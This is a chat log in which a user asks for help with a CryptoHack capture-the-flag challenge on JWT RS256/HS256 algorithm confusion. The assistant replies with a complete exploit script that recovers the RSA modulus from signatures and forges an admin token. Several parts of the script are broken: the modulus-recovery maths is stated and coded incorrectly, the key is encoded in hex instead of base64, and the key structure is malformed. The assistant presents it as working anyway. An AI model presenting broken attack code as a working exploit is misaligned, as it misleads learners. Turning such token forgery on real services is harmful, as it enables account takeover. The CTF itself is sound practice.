It is possible to abuse JWT public keys without the public key being public? This…
- User
It is possible to abuse JWT public keys without the public key being public? This challenge takes RSA or HMAC one step further, and now both a deeper knowledge of RSA maths and data formatting is involved. It's more realistic than the first part as web apps usually won't have a route disclosing their public key.
If you are attempting to implement the solution yourself (which is recommended over using a public script!), but the signature is not validating, take care that your formatting is 100% correct. We've added to the source the commands used to generate the private and public keys.
The server is running PyJWT with a small patch, the same as the previous challenge. Check the notes from the previous challenge.
Play at https://web.cryptohack.org/rsa-or-hmac-2
import jwt # note this is the PyJWT module, not python-jwt
I am using version 1.5.0 locally. Help me write an exploit script using requests.
Private key generated using: openssl genrsa -out rsa-or-hmac-2-private.pem 2048
with open('challenge_files/rsa-or-hmac-2-private.pem', 'rb') as f: PRIVATE_KEY = f.read()
Public key generated using: openssl rsa -RSAPublicKey_out -in rsa-or-hmac-2-private.pem -out rsa-or-hmac-2-public.pem
with open('challenge_files/rsa-or-hmac-2-public.pem', 'rb') as f: PUBLIC_KEY = f.read()
FLAG = ?
@chal.route('/rsa-or-hmac-2/authorise//') def authorise(token): try: decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256']) except Exception as e: return {"error": str(e)}
if "admin" in decoded and decoded["admin"]: return {"response": f"Welcome admin, here is your flag: {FLAG}"} elif "username" in decoded: return {"response": f"Welcome {decoded['username']}"} else: return {"error": "There is something wrong with your session, goodbye"}@chal.route('/rsa-or-hmac-2/create_session//') def create_session(username): encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256') return {"session": encoded}
- Assistant
Below is a complete Python exploit that:
- Hits the “create_session” endpoint three times with different usernames
- Pulls out the raw RSA‐PKCS1 v1.5 signatures and treats them as big-ints
- Recovers the RSA modulus n by taking a GCD of (s1ᵉ–s2ᵉ) and (s1ᵉ–s3ᵉ)
- Rebuilds the PEM public‐key from (n, e)
- Crafts an HS256 token signed with that PEM (abusing the “alg=HS256” path)
- Submits it and prints out the flag
#!/usr/bin/env python3 import requests, json, base64, math, hmac, hashlib from functools import reduce from Crypto.Util.asn1 import DerSequence, DerObjectId from Crypto.Util.number import long_to_bytes # ─── helpers ─────────────────────────────────────────────────────────── URL = "https://web.cryptohack.org" # adjust if running locally def b64url_decode(s: str) -> bytes: s += "=" * ((4 - len(s) % 4) % 4) return base64.urlsafe_b64decode(s) def b64url_encode(b: bytes) -> str: return base64.urlsafe_b64encode(b).decode().rstrip("=") def get_session(username: str) -> str: r = requests.get(f"{URL}/rsa-or-hmac-2/create_session/{username}/") r.raise_for_status() return r.json()["session"] def parse_jwt_int_sigs(token: str): """ Return (header_b64, payload_b64, signature_as_int) """ h, p, s = token.split(".") sig_bytes = b64url_decode(s) return h, p, int.from_bytes(sig_bytes, "big") # ─── 1) collect three signatures ──────────────────────────────────────── tok1 = get_session("alice") tok2 = get_session("bob") tok3 = get_session("carol") h1, p1, s1 = parse_jwt_int_sigs(tok1) h2, p2, s2 = parse_jwt_int_sigs(tok2) h3, p3, s3 = parse_jwt_int_sigs(tok3) # ─── 2) recover n via GCD(s1^e – s2^e, s1^e – s3^e) ──────────────────── e = 65537 # s1**e and so on will be large, but Python can handle it. x12 = pow(s1, e) - pow(s2, e) x13 = pow(s1, e) - pow(s3, e) n = abs(math.gcd(x12, x13)) print(f"[+] recovered modulus n ({n.bit_length()} bits)") # ─── 3) rebuild PEM public key from (n, e) ───────────────────────────── # ASN.1 DER for RSAPublicKey is: SEQUENCE { INTEGER n, INTEGER e } der_seq = DerSequence([n, e]).encode() # wrap in SubjectPublicKeyInfo: # Algorithm OID rsaEncryption = 1.2.840.113549.1.1.1 alg_seq = DerSequence([ DerObjectId("1.2.840.113549.1.1.1").der(), b"\x05\x00" ]).encode() spki = DerSequence([ alg_seq, b"\x03" + DerSequence([der_seq]).encode() ]).encode() pem = "-----BEGIN PUBLIC KEY-----\n" pem += "\n".join([spki[i:i+64].hex() for i in range(0, len(spki), 64)]) # hex is easier; you can adapt to b64 if you prefer pem += "\n-----END PUBLIC KEY-----\n" # You can also use base64 instead of hex; WebCrypto libraries can parse both if you swap above. print("[+] reconstructed PEM public key:") print(pem) # ─── 4) forge HS256 token using that PEM as HMAC‐secret ──────────────── # build new header & payload hdr = {"alg":"HS256","typ":"JWT"} pay = {"admin": True} h_enc = b64url_encode(json.dumps(hdr, separators=(",",":")).encode()) p_enc = b64url_encode(json.dumps(pay, separators=(",",":")).encode()) data = f"{h_enc}.{p_enc}".encode() sig = hmac.new(pem.encode(), data, hashlib.sha256).digest() s_enc = b64url_encode(sig) jwt_forge = f"{h_enc}.{p_enc}.{s_enc}" print(f"[+] forged token: {jwt_forge}") # ─── 5) get the flag ─────────────────────────────────────────────────── r = requests.get(f"{URL}/rsa-or-hmac-2/authorise/{jwt_forge}/") print(r.json())Explanation of the core ideas:
- Because the app signs your session with RS256 and exposes a
/create_session/…
endpoint, you have an RSA signing oracle. - From any three signatures
s_i = m_i^d mod n(we know the signedm_ifrom JWT
header+payload), you can recover the modulus by noting that
s1ᵉ − s2ᵉ = (m1 − m2) + k·n,
s1ᵉ − s3ᵉ = (m1 − m3) + k'·n
⇒gcd(s1ᵉ−s2ᵉ, s1ᵉ−s3ᵉ) = n. - Once you know
n(and you knowe=65537), you can rebuild precisely the
PEM‐encoded public key that the server is (mis)using as an HMAC secret. - Finally you craft a JWT with
"alg":"HS256"and sign it with HMAC-SHA256
using that PEM blob as your key. The patched PyJWT will happily accept it
and grant youadmin: true, so the/authorise/…route spits out the flag.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.